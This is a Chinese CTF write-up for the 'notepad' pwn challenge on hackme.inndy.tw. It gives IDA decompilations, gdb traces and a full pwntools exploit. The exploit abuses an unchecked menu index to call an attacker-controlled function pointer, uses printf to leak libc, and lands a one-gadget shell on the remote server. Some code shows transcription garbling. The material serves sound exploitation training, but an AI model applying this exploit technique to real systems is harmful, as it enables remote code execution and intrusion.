

notepad的wp

[niexinming](#) / 2017-12-11 00:35:04 / 浏览数 2690 [安全技术](#) [CTF 顶\(0\)](#) [踩\(0\)](#)

<https://hackme.inndy.tw/scoreboard/> 题目很有趣，我做了notepad这个题目感觉还不错，我把wp分享出来，方便大家学习
very_overflow的题目要求是：

nc hackme.inndy.tw 7713

把notepad直接拖入ida中:

main函数：

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     const char *v4; // [esp+8h] [ebp-20h]
4     const char *v5; // [esp+Ch] [ebp-1Ch]
5     const char *v6; // [esp+10h] [ebp-18h]
6     const char *v7; // [esp+14h] [ebp-14h]
7     int v8; // [esp+18h] [ebp-10h]
8     unsigned int v9; // [esp+1Ch] [ebp-Ch]
9
10    v9 = __readgsdword(0x14u);
11    setvbuf(stdin, 0, 2, 0);
12    setvbuf(stdout, 0, 2, 0);
13    alarm(0x1Eu);
14    puts("
15    puts("
16    puts("
17    puts("
18    puts("
19    puts("
20    v4 = "bash";
21    v5 = "cmd";
22    v6 = "notepad";
23    v7 = "exit";
24    v8 = 0;
25    while ( 1 )
26    {
27        switch ( menu((int)&v4) )
28        {
29            case 0:
30                puts("Invalid option");
31                break;
32            case 1:
33                bash();
34                break;
35            case 2:
36                cmd();
37                break;
38            case 3:
39                notepad();
40                break;
41            case 5:
42                return 0;
43            default:
44                continue;
45        }
46    }
47 }
```

menu函数：

```

1 int __cdecl menu(int a1)
2 {
3     int result; // eax
4     int i; // [esp+8h] [ebp-10h]
5     int v3; // [esp+Ch] [ebp-Ch]
6
7     for ( i = 0; *(_DWORD *)(4 * i + a1); ++i )
8         printf("%c> %s\n", i + 97, *(_DWORD *)(4 * i + a1));
9     printf("::> ");
10    v3 = getchar() - 97;
11    freeline();
12    if ( v3 < i )
13        result = v3 + 1;
14    else
15        result = 0;
16    return result;
17 }

```

bash函数：

```

IDA View-A Pseudocode-A
1 unsigned int bash()
2 {
3     char s; // [esp+Ch] [ebp-8Ch]
4     unsigned int v2; // [esp+8Ch] [ebp-Ch]
5
6     v2 = __readgsdword(0x14u);
7     printf("inndy ~$ ");
8     fgets(&s, 128, stdin);
9     rstrip(&s);
10    printf("bash: %s: command not found\n", &s);
11    return __readgsdword(0x14u) ^ v2;
12 }

```

cmd函数：

```
IDA view-A Pseudocode-A IDA view-B hex view-I
1 unsigned int cmd()
2 {
3     char s; // [esp+Ch] [ebp-8Ch]
4     unsigned int v2; // [esp+8Ch] [ebp-Ch]
5
6     v2 = __readgsdword(0x14u);
7     puts("Microhard WindOws [Version 3.1.3370]");
8     puts("(c) 2016 Microhard COrporat1on. All rights throwed away.");
9     puts(&byte_8049371);
10    printf("C:\\Users\\Inndy>");
11    fgets(&s, 128, stdin);
12    rstrip(&s);
13    printf("'s' is not recognized as an internal or external command\n", &s);
14    return __readgsdword(0x14u) ^ v2;
15 }
```

rstrip函数 :

```
IDA View-A Pseudocode-A IDA View-B
1 size_t __cdecl rstrip(char *s)
2 {
3     size_t i; // [esp+Ch] [ebp-Ch]
4
5     for ( i = strlen(s); (--i & 0x80000000) == 0; s[i] = 0 )
6     {
7         if ( s[i] != 10 && s[i] != 32 )
8             return i;
9     }
10    return 0;
11 }
```

notepad函数 :

```

1 void notepad()
2 {
3     const char *v0; // [esp+4h] [ebp-24h]
4     const char *v1; // [esp+8h] [ebp-20h]
5     const char *v2; // [esp+Ch] [ebp-1Ch]
6     const char *v3; // [esp+10h] [ebp-18h]
7     const char *v4; // [esp+14h] [ebp-14h]
8     int v5; // [esp+18h] [ebp-10h]
9     unsigned int v6; // [esp+1Ch] [ebp-Ch]
10
11     v6 = __readgsdword(0x14u);
12     v0 = "New note";
13     v1 = "Open note";
14     v2 = "Delete note";
15     v3 = "Set readonly";
16     v4 = "Keep the secret";
17     v5 = 0;
18     while ( 1 )
19     {
20         switch ( menu((int)&v0) )
21         {
22             case 0:
23                 puts("Unknow option");
24                 break;
25             case 1:
26                 notepad_new();
27                 break;
28             case 2:
29                 notepad_open();
30                 break;
31             case 3:
32                 notepad_delete();
33                 break;
34             case 4:
35                 notepad_rdonly();
36                 break;
37             case 5:
38                 notepad_keepsec();
39                 break;
40             default:
41                 continue;
42         }
43     }
44 }

```

notepad_new函数：

```

1 int notepad_new()
2 {
3     char *v1; // eax
4     char *v2; // ST1C_4
5     char **v3; // [esp+4h] [ebp-14h]
6     signed int n; // [esp+8h] [ebp-10h]
7
8     v3 = (char **)notepad_find_slot();
9     if ( !v3 )
10         return puts("space is full");
11     printf("size > ");
12     n = readint();
13     if ( n <= 0 || n > 1024 )
14         return puts("invalid size");
15     v1 = (char *)malloc(n + 16);
16     v2 = v1;
17     *((_DWORD *)v1 + 3) = n;
18     *((_DWORD *)v1 + 2) = 1;
19     *((_DWORD *)v1 = notepad_show;
20     *((_DWORD *)v1 + 1) = notepad_destory;
21     printf("data > ");
22     fgets(v2 + 16, n, stdin);
23     *v3 = v2;
24     return printf("your note id is %d\n", ((char *)v3 - (char *)notes) >> 2);
25 }

```

notepad_open函数：

```

1 unsigned int notepad_open()
2 {
3     int v0; // ST1C_4
4     int *v2; // [esp+4h] [ebp-1024h]
5     int v3; // [esp+8h] [ebp-1020h]
6     const char *v4; // [esp+10h] [ebp-1018h]
7     const char *v5; // [esp+14h] [ebp-1014h]
8     int v6; // [esp+18h] [ebp-1010h]
9     char s; // [esp+1Ch] [ebp-100Ch]
10    unsigned int v8; // [esp+101Ch] [ebp-Ch]
11
12    v8 = __readgsdword(0x14u);
13    v2 = (int *)notepad_choose();
14    if ( v2 )
15    {
16        v3 = *v2;
17        puts("note opened");
18        if ( *((_DWORD *)v3 + 8) && yes_or_no((int)"edit") )
19        {
20            printf("content > ");
21            fgets(&s, 4096, stdin);
22            strncpy((char *)v3 + 16, &s, *((_DWORD *)v3 + 12));
23            puts("note saved");
24        }
25        v4 = "show note";
26        v5 = "destory note";
27        v6 = 0;
28        v0 = menu((int)&v4);
29        (*(void (__cdecl **)(int))(v3 + 4 * (v0 - 1)))(v3);
30        puts("note closed");
31    }
32    return __readgsdword(0x14u) ^ v8;
33 }

```

notepad_delete函数：


```

1 void **notepad_delete()
2 {
3     void **result; // eax
4     void **v1; // [esp+8h] [ebp-10h]
5
6     result = (void **)notepad_choose();
7     v1 = result;
8     if ( result )
9     {
10         free(*result);
11         *v1 = 0;
12         result = (void **)puts("deleted");
13     }
14     return result;
15 }

```

notepad_rdonly函数：

```

1 int notepad_rdonly()
2 {
3     int result; // eax
4
5     result = notepad_choose();
6     if ( result )
7     {
8         *(_DWORD *)(*(_DWORD *)result + 8) = 0;
9         result = puts("Okey, this note is read-only now");
10    }
11    return result;
12 }

```

notepad_keepsec函数：

```
IDA View-A Pseudocode-A IDA View-B Hex
1 DWORD **notepad_keepsec()
2 {
3     DWORD **result; // eax
4
5     result = (DWORD **)notepad_choose();
6     if ( result )
7     {
8         **result = notepad_forbidden;
9         result = (DWORD **)puts("Okey, this note is read-only now");
10    }
11    return result;
12 }
```

这个程序初看很复杂，函数很多，功能也很多，但是还是逃不出ctf的一些出题套路，可以参考这个问题：<http://www.cnblogs.com/Ox9A82/p/5559167.html>，所以主要的漏洞点会出现在notepad_open的编辑功能中
先运行一下程序看一下这个程序干了啥

```
a> bash
b> cmd
c> notepad
d> exit
i1> c
a> New note
b> Open note
c> Delete note
d> Set readonly
a> Keep the secret
i1> a
size > 20
data > aaaaaa
your note id is 0
a> New note
b> Open note
c> Delete note
d> Set readonly
a> Keep the secret
i1> b
id > 0
note opened
edit (Y/n)Y
content > bbb
note saved
a> show note
b> destroy note
i1> a
content: bbb

note closed
a> New note
b> Open note
c> Delete note
d> Set readonly
a> Keep the secret
i1> Alarm clock
h11p@ubuntu:~/hackme$
```

再看看程序开启了哪些保护:

```
h11p@ubuntu:~/hackme$ checksec notepad
[*] '/home/h11p/hackme/notepad'
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
h11p@ubuntu:~/hackme$
```

这个题目开了栈不可执行和canary保护，所以不可能是栈溢出

这个题目在创建一个notepad的时候会把数据和函数指针一起放入堆中，这个题目的漏洞点在notepad_open调用的menu函数中，因为notepad_open会根据你在菜单中选项而泄露libc基址的方法是，第一次调用strncpy函数

```

Terminal
[-----]
Legend: code, data, rodata, value
0xf77b2c89 in __kernel_vsyscall ()
Breakpoint 1 at 0x8048ce8
gdb-peda$ c
Continuing.

[-----registers-----]
EAX: 0x80485c0 (<strncpy@plt>: jnp     DWORD PTR ds:0x804b03c)
EBX: 0x0
ECX: 0xa ('\n')
EDX: 0xffffffffc
ESI: 0xf7790000 --> 0x1b1db0
EDI: 0xf7790000 --> 0x1b1db0
EBP: 0xffff2da28 --> 0xffff2da58 --> 0xffff2da88 --> 0x0
ESP: 0xffff2c9f0 --> 0x8763030 --> 0x80489f7 (<notepad_show>: push  ebp)
EIP: 0x8048ce8 (<notepad_open+289>: call  eax)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)

[-----code-----]
0x8048cdc <notepad_open+277>: mov     eax,DWORD PTR [eax+edx*4]
0x8048cdf <notepad_open+280>: sub     esp,0xc
0x8048ce2 <notepad_open+283>: push    DWORD PTR [ebp-0x1020]
=> 0x8048ce8 <notepad_open+289>: call    eax
0x8048cea <notepad_open+291>: add     esp,0x10
0x8048ced <notepad_open+294>: sub     esp,0xc
0x8048cf0 <notepad_open+297>: push    0x804946f
0x8048cf5 <notepad_open+302>: call    0x8048570 <puts@plt>

Guessed arguments:
arg[0]: 0x8763030 --> 0x80489f7 (<notepad_show>: push  ebp)

[-----stack-----]
0000| 0xffff2c9f0 --> 0x8763030 --> 0x80489f7 (<notepad_show>: push  ebp)
0004| 0xffff2c9f4 --> 0xffff2ca1c ("%1067$p\n")
0008| 0xffff2c9f8 --> 0x10
0012| 0xffff2c9fc --> 0x8048be0 (<notepad_open+25>: mov     DWORD PTR [ebp-0x
1024],eax)
0016| 0xffff2ca00 --> 0x0
0020| 0xffff2ca04 --> 0x804b084 --> 0x8763030 --> 0x80489f7 (<notepad_show>: p
ush  ebp)
0024| 0xffff2ca08 --> 0x8763030 --> 0x80489f7 (<notepad_show>: push  ebp)
0028| 0xffff2ca0c --> 0xffffffffd

[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x8048ce8 in notepad_open ()
gdb-peda$

```

目的是利用strncpy这个函数把0xffff2c9f4中的数据复制到0xffff2c9f0中去
然后再调用printf函数


```
Terminal
[-----registers-----]
EAX: 0x8048500 (<printf@plt>: jmp DWORD PTR ds:0x804b00c)
EBX: 0x0
ECX: 0xa ('\n')
EDX: 0xffffffffb
ESI: 0xf7790000 --> 0x1b1db0
EDI: 0xf7790000 --> 0x1b1db0
EBP: 0xffff2da28 --> 0xffff2da58 --> 0xffff2da88 --> 0x0
ESP: 0xffff2c9f0 --> 0x8763030 ("%1067$p\n")
EIP: 0x8048ce8 (<notepad_open+289>: call eax)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x8048cdc <notepad_open+277>: mov eax,DWORD PTR [eax+edx*4]
0x8048cdf <notepad_open+280>: sub esp,0xc
0x8048ce2 <notepad_open+283>: push DWORD PTR [ebp-0x1020]
=> 0x8048ce8 <notepad_open+289>: call eax
0x8048cea <notepad_open+291>: add esp,0x10
0x8048ced <notepad_open+294>: sub esp,0xc
0x8048cf0 <notepad_open+297>: push 0x804946f
0x8048cf5 <notepad_open+302>: call 0x8048570 <puts@plt>
Guessed arguments:
arg[0]: 0x8763030 ("%1067$p\n")
[-----stack-----]
0000| 0xffff2c9f0 --> 0x8763030 ("%1067$p\n")
0004| 0xffff2c9f4 --> 0xffff2ca1c ("%1067$p\n")
0008| 0xffff2c9f8 --> 0xffff2da28 --> 0xffff2da58 --> 0xffff2da88 --> 0x0
0012| 0xffff2c9fc --> 0x8048be0 (<notepad_open+25>: mov DWORD PTR [ebp-0x1024],eax)
0016| 0xffff2ca00 --> 0x0
0020| 0xffff2ca04 --> 0x804b084 --> 0x8763030 ("%1067$p\n")
0024| 0xffff2ca08 --> 0x8763030 ("%1067$p\n")
0028| 0xffff2ca0c --> 0xffffffffc
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048ce8 in notepad_open ()
gdb-peda$
```

这样就可以利用printf函数来泄露栈中任意数据了

然后再利用函数的编辑功能把第一块堆中的数据改成MAGIC_addr, 最后再利用一次notepad_open函数就可以getshell了

我的exp是:

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'niexinming'

from pwn import *

context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

localMAGIC = 0x3ac5c #locallibc
remoteMAGIC = 0x3ac3e #remotelibc #libc6_2.23-0ubuntu3_i386.so

def debug(addr = '0x8048ce8'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset
```

```

elf = ELF('/home/hllp/hackme/notepad')
printf_addr=elf.plt['printf']
print 'printf_addr:'+hex(printf_addr)
strncpy_addr=elf.plt['strncpy']
print 'strncpy_addr:'+hex(strncpy_addr)
printf_got_addr=elf.got['printf']
print 'printf_got_addr:'+hex(printf_got_addr)

#io = process('/home/hllp/hackme/notepad')
io = remote('hackme.inndy.tw', 7713)

payload1='a'*4+p32(printf_addr)+p32(strncpy_addr)+'a'*3

#debug()
io.recvuntil('::> ')
io.sendline('c')
io.recvuntil('::> ')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('l6')
io.recvuntil('data > ')
io.send(payload1)

io.recvuntil('::> ')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('l6')
io.recvuntil('data > ')
io.send('a'*15)

io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('l')
io.recvuntil('edit (Y/n)')
io.sendline(p32(0x59))
io.recvuntil('content > ')
io.sendline('%1067$p')
io.recvuntil('::> ')
io.sendline(p32(93))

io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('l')
io.recvuntil('::> ')
io.sendline(p32(92))
libc_start_main_247=io.recv().splitlines()[0]
libc_start_main=base_addr(libc_start_main_247,0xf7)
print "libc_start_main:"+hex(libc_start_main)

#local_libc_base=base_addr(libc_start_main_247,0x18637)
#print "libc_base:"+hex(local_libc_base)

remote_libc_base=base_addr(libc_start_main_247,0x18637)
print "libc_base:"+hex(remote_libc_base)

#MAGIC_addr=local_libc_base+localMAGIC
MAGIC_addr=remote_libc_base+remoteMAGIC
payload2=p32(MAGIC_addr)
print "MAGIC_addr:"+hex(MAGIC_addr)
#io.recv()
io.sendline('b')
io.recvuntil('id > ')
io.sendline('0')

```

```
io.recvuntil('edit (Y/n)')
io.sendline('Y')
io.recvuntil('content > ')
io.sendline(payload2)
io.recvuntil('::> ')
io.sendline('a')
```

```
io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('l')
io.recvuntil('::> ')
io.sendline(p32(91))
```

```
io.interactive()
io.close()
```

效果是：

```
h11p@ubuntu: ~/PycharmProjects/testpwn
'::> '
[DEBUG] Sent 0x2 bytes:
'a\n'
[DEBUG] Received 0x6a bytes:
00000000 63 6f 6e 74 65 6e 74 3a 20 3e ec 55 f7 0a 0a 6e |cont|ent:| >
U|...n|
00000010 6f 74 65 20 63 6c 6f 73 65 64 0a 61 3e 20 4e 65 |ote|clos|ed
a|> Ne|
00000020 77 20 6e 6f 74 65 0a 62 3e 20 4f 70 65 6e 20 6e |w no|te.b|> 0
p|en n|
00000030 6f 74 65 0a 63 3e 20 44 65 6c 65 74 65 20 6e 6f |ote|c> D|ele
t|e no|
00000040 74 65 0a 64 3e 20 53 65 74 20 72 65 61 64 6f 6e |te.d|> Se|t r
e|adon|
00000050 6c 79 0a 65 3e 20 4b 65 65 70 20 74 68 65 20 73 |ly.e|> Ke|ep
t|he s|
00000060 65 63 72 65 74 0a 3a 3a 3e 20 |ecre|t.:|> |
0000006a
[DEBUG] Sent 0x2 bytes:
'b\n'
[DEBUG] Received 0x5 bytes:
'id > '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x2d bytes:
'note opened\n'
'a> show note\n'
'b> destory note\n'
'::> '
[DEBUG] Sent 0x5 bytes:
00000000 5b 00 00 00 0a |...|.
00000005
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x2d bytes:
'uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)\n'
uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x14 bytes:
'flag\n'
'notepad\n'
'run.sh\n'
flag
notepad
run.sh
$
```

notepad.zip (0.005 MB) [下载附件](#)

点击收藏 | 0 关注 | 0

[上一篇：湖湘杯pwn400的wp](#) [下一篇：综合威胁管理简易操作手册](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)